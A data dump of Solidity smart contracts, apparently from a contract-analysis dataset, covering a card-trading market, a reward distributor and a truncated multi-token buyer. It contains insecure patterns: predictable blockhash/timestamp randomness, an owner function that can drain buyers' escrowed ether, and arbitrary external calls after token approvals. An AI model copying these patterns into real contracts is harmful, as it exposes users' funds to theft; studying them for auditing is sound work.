pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract CopaMarket is Ownable, Pausable { using SafeMath for uint256; CopaCore private copaCore; uint256 private lockedEth; uint256 public cut; uint256 public tradingFee; bool private secureFees; struct Buy { uint256 cardId; uint256 count; uint256 ethAmount; bool open; } mapping(address => Buy[]) private buyers; struct Sell { uint256 cardId; uint256 count; uint256 ethAmount; bool open; } mapping(address => Sell[]) private sellers; struct Trade { uint256[] offeredCardIds; uint256[] offeredCardCounts; uint256[] requestedCardIds; uint256[] requestedCardCounts; bool open; } mapping(address => Trade[]) private traders; event NewBuy(address indexed buyer, uint256 indexed id, uint256 cardId, uint256 count, uint256 ethAmount); event CardSold(address indexed buyer, uint256 indexed id, address indexed seller, uint256 cardId, uint256 count, uint256 ethAmount); event CancelBuy(address indexed buyer, uint256 indexed id, uint256 cardId, uint256 count, uint256 ethAmount); event NewSell(address indexed seller, uint256 indexed id, uint256 cardId, uint256 count, uint256 ethAmount); event CardBought(address indexed seller, uint256 indexed id, address indexed buyer, uint256 cardId, uint256 count, uint256 ethAmount); event CancelSell(address indexed seller, uint256 indexed id, uint256 cardId, uint256 count, uint256 ethAmount); event NewTrade(address indexed seller, uint256 indexed id, uint256[] offeredCardIds, uint256[] offeredCardCounts, uint256[] requestedCardIds, uint256[] requestedCardCounts); event CardsTraded(address indexed seller, uint256 indexed id, address indexed buyer, uint256[] offeredCardIds, uint256[] offeredCardCounts, uint256[] requestedCardIds, uint256[] requestedCardCounts); event CancelTrade(address indexed seller, uint256 indexed id, uint256[] offeredCardIds, uint256[] offeredCardCounts, uint256[] requestedCardIds, uint256[] requestedCardCounts); constructor(address _copaCoreAddress, uint256 _cut, uint256 _tradingFee, bool _secureFees) public { copaCore = CopaCore(_copaCoreAddress); cut = _cut; tradingFee = _tradingFee; secureFees = _secureFees; lockedEth = 0; } function getCopaCoreAddress() view external onlyOwner returns (address) { return address(copaCore); } function setCopaCoreAddress(address _copaCoreAddress) external onlyOwner { copaCore = CopaCore(_copaCoreAddress); } function setCut(uint256 _cut) external onlyOwner { require(_cut > 0); require(_cut < 10000); cut = _cut; } function setTradingFee(uint256 _tradingFee) external onlyOwner { require(_tradingFee > 0); tradingFee = _tradingFee; } function getSecureFees() view external onlyOwner returns (bool) { return secureFees; } function setSecureFees(bool _secureFees) external onlyOwner { secureFees = _secureFees; } function getLockedEth() view external onlyOwner returns (uint256) { return lockedEth; } function getEthBalance() view external returns (uint256) { return address(this).balance; } function withdrawEthBalanceSave() external onlyOwner { uint256 _ethBalance = address(this).balance; owner.transfer(_ethBalance - lockedEth); } function withdrawEthBalance() external onlyOwner { uint256 _ethBalance = address(this).balance; owner.transfer(_ethBalance); } function getBuy(uint256 _id, address _address) view external returns (uint256, uint256, uint256, bool){ return (buyers[_address][_id].cardId, buyers[_address][_id].count, buyers[_address][_id].ethAmount, buyers[_address][_id].open); } function getSell(uint256 _id, address _address) view external returns (uint256, uint256, uint256, bool){ return (sellers[_address][_id].cardId, sellers[_address][_id].count, sellers[_address][_id].ethAmount, sellers[_address][_id].open); } function getTrade(uint256 _id, address _address) view external returns (uint256[], uint256[], uint256[], uint256[], bool){ return (traders[_address][_id].offeredCardIds, traders[_address][_id].offeredCardCounts, traders[_address][_id].requestedCardIds, traders[_address][_id].requestedCardCounts, traders[_address][_id].open); } function addToBuyList(uint256 _cardId, uint256 _count) external payable whenNotPaused returns (bool) { address _buyer = msg.sender; uint256 _ethAmount = msg.value; require(_ethAmount > 0); require(_count > 0); uint256 _id = buyers[_buyer].length; buyers[_buyer].push(Buy(_cardId, _count, _ethAmount, true)); lockedEth += _ethAmount; emit NewBuy(_buyer, _id, _cardId, _count, _ethAmount); return true; } function sellCard(address _buyer, uint256 _id, uint256 _cardId, uint256 _count, uint256 _ethAmount) external whenNotPaused returns (bool) { address _seller = msg.sender; uint256 _cut = 10000 - cut; uint256 _ethAmountAfterCut = (_ethAmount * _cut) / 10000; uint256 _fee = _ethAmount - _ethAmountAfterCut; require(buyers[_buyer][_id].open == true); require(buyers[_buyer][_id].cardId == _cardId); require(buyers[_buyer][_id].count == _count); require(buyers[_buyer][_id].ethAmount == _ethAmount); buyers[_buyer][_id].open = false; lockedEth -= _ethAmount; copaCore.transferFrom(_seller, _buyer, _cardId, _count); _seller.transfer(_ethAmountAfterCut); if (secureFees) { owner.transfer(_fee); } emit CardSold(_buyer, _id, _seller, _cardId, _count, _ethAmount); return true; } function cancelBuy(uint256 _id, uint256 _cardId, uint256 _count, uint256 _ethAmount) external whenNotPaused returns (bool) { address _buyer = msg.sender; require(buyers[_buyer][_id].open == true); require(buyers[_buyer][_id].cardId == _cardId); require(buyers[_buyer][_id].count == _count); require(buyers[_buyer][_id].ethAmount == _ethAmount); lockedEth -= _ethAmount; buyers[_buyer][_id].open = false; _buyer.transfer(_ethAmount); emit CancelBuy(_buyer, _id, _cardId, _count, _ethAmount); return true; } function addToSellList(uint256 _cardId, uint256 _count, uint256 _ethAmount) external whenNotPaused returns (bool) { address _seller = msg.sender; require(_ethAmount > 0); require(_count > 0); uint256 _id = sellers[_seller].length; sellers[_seller].push(Sell(_cardId, _count, _ethAmount, true)); copaCore.transferFrom(_seller, address(this), _cardId, _count); emit NewSell(_seller, _id, _cardId, _count, _ethAmount); return true; } function buyCard(address _seller, uint256 _id, uint256 _cardId, uint256 _count) external payable whenNotPaused returns (bool) { address _buyer = msg.sender; uint256 _ethAmount = msg.value; uint256 _cut = 10000 - cut; uint256 _ethAmountAfterCut = (_ethAmount * _cut) / 10000; uint256 _fee = _ethAmount - _ethAmountAfterCut; require(sellers[_seller][_id].open == true); require(sellers[_seller][_id].cardId == _cardId); require(sellers[_seller][_id].count == _count); require(sellers[_seller][_id].ethAmount <= _ethAmount); sellers[_seller][_id].open = false; copaCore.transfer(_buyer, _cardId, _count); _seller.transfer(_ethAmountAfterCut); if (secureFees) { owner.transfer(_fee); } emit CardBought(_seller, _id, _buyer, _cardId, _count, _ethAmount); return true; } function cancelSell(uint256 _id, uint256 _cardId, uint256 _count, uint256 _ethAmount) external whenNotPaused returns (bool) { address _seller = msg.sender; require(sellers[_seller][_id].open == true); require(sellers[_seller][_id].cardId == _cardId); require(sellers[_seller][_id].count == _count); require(sellers[_seller][_id].ethAmount == _ethAmount); sellers[_seller][_id].open = false; copaCore.transfer(_seller, _cardId, _count); emit CancelSell(_seller, _id, _cardId, _count, _ethAmount); return true; } function addToTradeList(uint256[] _offeredCardIds, uint256[] _offeredCardCounts, uint256[] _requestedCardIds, uint256[] _requestedCardCounts) external whenNotPaused returns (bool) { address _seller = msg.sender; require(_offeredCardIds.length > 0); require(_offeredCardCounts.length > 0); require(_requestedCardIds.length > 0); require(_requestedCardCounts.length > 0); uint256 _id = traders[_seller].length; traders[_seller].push(Trade(_offeredCardIds, _offeredCardCounts, _requestedCardIds, _requestedCardCounts, true)); for (uint256 i = 0; i < _offeredCardIds.length; i++) { copaCore.transferFrom(_seller, address(this), _offeredCardIds[i], _offeredCardCounts[i]); } emit NewTrade(_seller, _id, _offeredCardIds, _offeredCardCounts, _requestedCardIds, _requestedCardCounts); return true; } function tradeCards(address _seller, uint256 _id) external payable whenNotPaused returns (bool) { address _buyer = msg.sender; uint256 _ethAmount = msg.value; uint256[] memory _offeredCardIds = traders[_seller][_id].offeredCardIds; uint256[] memory _offeredCardCounts = traders[_seller][_id].offeredCardCounts; uint256[] memory _requestedCardIds = traders[_seller][_id].requestedCardIds; uint256[] memory _requestedCardCounts = traders[_seller][_id].requestedCardCounts; require(traders[_seller][_id].open == true); require(_ethAmount >= tradingFee); traders[_seller][_id].open = false; for (uint256 i = 0; i < _offeredCardIds.length; i++) { copaCore.transfer(_buyer, _offeredCardIds[i], _offeredCardCounts[i]); } for (uint256 j = 0; j < _requestedCardIds.length; j++) { copaCore.transferFrom(_buyer, _seller, _requestedCardIds[j], _requestedCardCounts[j]); } if (secureFees) { owner.transfer(_ethAmount); } emit CardsTraded(_seller, _id, _buyer, _offeredCardIds, _offeredCardCounts, _requestedCardIds, _requestedCardCounts); return true; } function cancelTrade(uint256 _id) external whenNotPaused returns (bool) { address _seller = msg.sender; uint256[] memory _offeredCardIds = traders[_seller][_id].offeredCardIds; uint256[] memory _offeredCardCounts = traders[_seller][_id].offeredCardCounts; uint256[] memory _requestedCardIds = traders[_seller][_id].requestedCardIds; uint256[] memory _requestedCardCounts = traders[_seller][_id].requestedCardCounts; require(traders[_seller][_id].open == true); traders[_seller][_id].open = false; for (uint256 i = 0; i < _offeredCardIds.length; i++) { copaCore.transfer(_seller, _offeredCardIds[i], _offeredCardCounts[i]); } emit CancelTrade(_seller, _id, _offeredCardIds, _offeredCardCounts, _requestedCardIds, _requestedCardCounts); return true; } } contract CopaCore is Ownable, Pausable { using SafeMath for uint256; CopaMarket private copaMarket; uint256 public packSize; uint256 public packPrice; uint256 public totalCardCount; mapping(address => uint256[1200]) public balances; struct PackBuy { uint256 packSize; uint256 packPrice; uint256[] cardIds; } mapping(address => PackBuy[]) private packBuys; event Transfer(address indexed from, address indexed to, uint256 indexed cardId, uint256 count); event TransferManual(address indexed from, address indexed to, uint256[] cardIds, uint256[] counts); event BuyPack(uint256 indexed id, address indexed buyer, uint256 packSize, uint256 packPrice, uint256[] cardIds); event BuyPacks(uint256 indexed id, address indexed buyer, uint256 packSize, uint256 packPrice, uint256 count); constructor(uint256 _packSize, uint256 _packPrice, uint256 _totalCardCount) public { packSize = _packSize; packPrice = _packPrice; totalCardCount = _totalCardCount; } function getCopaMarketAddress() view external onlyOwner returns (address) { return address(copaMarket); } function setCopaMarketAddress(address _copaMarketAddress) external onlyOwner { copaMarket = CopaMarket(_copaMarketAddress); } modifier onlyCopaMarket() { require(msg.sender == address(copaMarket)); _; } function setPackSize(uint256 _packSize) external onlyOwner { require(_packSize > 0); packSize = _packSize; } function setPrice(uint256 _packPrice) external onlyOwner { require(_packPrice > 0); packPrice = _packPrice; } function setTotalCardCount(uint256 _totalCardCount) external onlyOwner { require(_totalCardCount > 0); totalCardCount = _totalCardCount; } function getEthBalance() view external returns (uint256) { return address(this).balance; } function withdrawEthBalance() external onlyOwner { uint256 _ethBalance = address(this).balance; owner.transfer(_ethBalance); } function balanceOf(address _owner, uint256 _cardId) view external returns (uint256) { return balances[_owner][_cardId]; } function balancesOf(address _owner) view external returns (uint256[1200]) { return balances[_owner]; } function getPackBuy(address _address, uint256 _id) view external returns (uint256, uint256, uint256[]){ return (packBuys[_address][_id].packSize, packBuys[_address][_id].packPrice, packBuys[_address][_id].cardIds); } function transfer(address _to, uint256 _cardId, uint256 _count) external whenNotPaused returns (bool) { address _from = msg.sender; require(_to != address(0)); require(_count > 0); require(_count <= balances[_from][_cardId]); balances[_from][_cardId] = balances[_from][_cardId].sub(_count); balances[_to][_cardId] = balances[_to][_cardId].add(_count); emit Transfer(_from, _to, _cardId, _count); return true; } function transferMultiple(address _to, uint256[] _cardIds, uint256[] _counts) external whenNotPaused returns (bool) { address _from = msg.sender; require(_to != address(0)); for (uint256 i = 0; i < _cardIds.length; i++) { uint256 _cardId = _cardIds[i]; uint256 _count = _counts[i]; require(_count > 0); require(_count <= balances[_from][_cardId]); balances[_from][_cardId] = balances[_from][_cardId].sub(_count); balances[_to][_cardId] = balances[_to][_cardId].add(_count); emit Transfer(_from, _to, _cardId, _count); } emit TransferManual(_from, _to, _cardIds, _counts); return true; } function transferFrom(address _from, address _to, uint256 _cardId, uint256 _count) external onlyCopaMarket returns (bool) { require(_to != address(0)); require(_count > 0); require(_count <= balances[_from][_cardId]); balances[_from][_cardId] = balances[_from][_cardId].sub(_count); balances[_to][_cardId] = balances[_to][_cardId].add(_count); emit Transfer(_from, _to, _cardId, _count); return true; } function buyPack(uint256 _count) external payable whenNotPaused returns (bool) { address _buyer = msg.sender; uint256 _ethAmount = msg.value; uint256 _totalPrice = packPrice * _count; require(_count > 0); require(_ethAmount > 0); require(_ethAmount >= _totalPrice); for (uint256 i = 0; i < _count; i++) { uint256[] memory _cardsList = new uint256[](packSize); for (uint256 j = 0; j < packSize; j++) { uint256 _cardId = dice(totalCardCount); balances[_buyer][_cardId] = balances[_buyer][_cardId].add(1); _cardsList[j] = _cardId; emit Transfer(0x0, _buyer, _cardId, 1); } uint256 _id = packBuys[_buyer].length; packBuys[_buyer].push(PackBuy(packSize, packPrice, _cardsList)); emit BuyPack(_id, _buyer, packSize, packPrice, _cardsList); } emit BuyPacks(_id, _buyer, packSize, packPrice, _count); return true; } function getPack(uint256 _count) external onlyOwner whenNotPaused returns (bool) { require(_count > 0); for (uint256 i = 0; i < _count; i++) { uint256[] memory _cardsList = new uint256[](packSize); for (uint256 j = 0; j < packSize; j++) { uint256 _cardId = dice(totalCardCount); balances[owner][_cardId] = balances[owner][_cardId].add(1); _cardsList[j] = _cardId; emit Transfer(0x0, owner, _cardId, 1); } uint256 _id = packBuys[owner].length; packBuys[owner].push(PackBuy(packSize, 0, _cardsList)); emit BuyPack(_id, owner, packSize, 0, _cardsList); } emit BuyPacks(_id, owner, packSize, 0, _count); return true; } uint256 seed = 0; function maxDice() private returns (uint256 diceNumber) { seed = uint256(keccak256(keccak256(blockhash(block.number - 1), seed), now)); return seed; } function dice(uint256 upper) private returns (uint256 diceNumber) { return maxDice() % upper; } }
142,959
12,163
9f7f556d53be5539a82836a79323bb0f75cf056ca3dbd52b10cbd96ee5f3b445
17,859
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/b8/b826fdab5cfcef2f7b43a8a6a80b8dd42220d798_Distributor.sol
3,983
15,793
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) .sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) {// Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function add32(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100), total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly {size := extcodesize(account)} return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{value : amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value : value}(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value : weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns (string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for (uint256 i = 0; i < 20; i++) { _addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IPolicy { function policy() external view returns (address); function renouncePolicy() external; function pushPolicy(address newPolicy_) external; function pullPolicy() external; } contract Policy is IPolicy { address internal _policy; address internal _newPolicy; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _policy = msg.sender; emit OwnershipTransferred(address(0), _policy); } function policy() public view override returns (address) { return _policy; } modifier onlyPolicy() { require(_policy == msg.sender, "Ownable: caller is not the owner"); _; } function renouncePolicy() public virtual override onlyPolicy() { emit OwnershipTransferred(_policy, address(0)); _policy = address(0); } function pushPolicy(address newPolicy_) public virtual override onlyPolicy() { require(newPolicy_ != address(0), "Ownable: new owner is the zero address"); _newPolicy = newPolicy_; } function pullPolicy() public virtual override { require(msg.sender == _newPolicy); emit OwnershipTransferred(_policy, _newPolicy); _policy = _newPolicy; } } interface ITreasury { function mintRewards(address _recipient, uint _amount) external; } contract Distributor is Policy { using SafeMath for uint; using SafeMath for uint32; using SafeERC20 for IERC20; address public immutable LoveBankERC20; address public immutable treasury; uint32 public immutable epochLength; uint32 public nextEpochTime; mapping(uint => Adjust) public adjustments; struct Info { uint rate; // in ten-thousandths (5000 = 0.5%) address recipient; } Info[] public info; struct Adjust { bool add; uint rate; uint target; } constructor(address _treasury, address _LoveBankERC20, uint32 _epochLength, uint32 _nextEpochTime) { require(_treasury != address(0)); treasury = _treasury; require(_LoveBankERC20 != address(0)); LoveBankERC20 = _LoveBankERC20; epochLength = _epochLength; nextEpochTime = _nextEpochTime; } function distribute() external returns (bool) { if (nextEpochTime <= uint32(block.timestamp)) { nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time // distribute rewards to each recipient for (uint i = 0; i < info.length; i++) { if (info[i].rate > 0) { ITreasury(treasury).mintRewards(// mint and send from treasury info[i].recipient, nextRewardAt(info[i].rate)); adjust(i); // check for adjustment } } return true; } else { return false; } } function adjust(uint _index) internal { Adjust memory adjustment = adjustments[_index]; if (adjustment.rate != 0) { if (adjustment.add) {// if rate should increase info[_index].rate = info[_index].rate.add(adjustment.rate); // raise rate if (info[_index].rate >= adjustment.target) {// if target met adjustments[_index].rate = 0; // turn off adjustment } } else {// if rate should decrease info[_index].rate = info[_index].rate.sub(adjustment.rate); // lower rate if (info[_index].rate <= adjustment.target) {// if target met adjustments[_index].rate = 0; // turn off adjustment } } } } function nextRewardAt(uint _rate) public view returns (uint) { return IERC20(LoveBankERC20).totalSupply().mul(_rate).div(1000000); } function nextRewardFor(address _recipient) public view returns (uint) { uint reward; for (uint i = 0; i < info.length; i++) { if (info[i].recipient == _recipient) { reward = nextRewardAt(info[i].rate); } } return reward; } function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() { require(_recipient != address(0)); info.push(Info({ recipient : _recipient, rate : _rewardRate })); } function removeRecipient(uint _index, address _recipient) external onlyPolicy() { require(_recipient == info[_index].recipient); info[_index].recipient = address(0); info[_index].rate = 0; } function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() { adjustments[_index] = Adjust({ add : _add, rate : _rate, target : _target }); } }
80,065
12,164
f5dcac5e6ed030f18053f73e68e570ecb2a192225483a399f8175eeec248eb51
15,436
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x052b412bf5d2c219a68a309abd76bb16f0a43d38.sol
3,670
13,259
pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buyOnApprove(IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values) public payable { require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], 0); _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); require(_exchanges[i].call(data), "buy: exchange arbitrary call failed"); _throughToken.approve(_exchanges[i], 0); } else { require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call 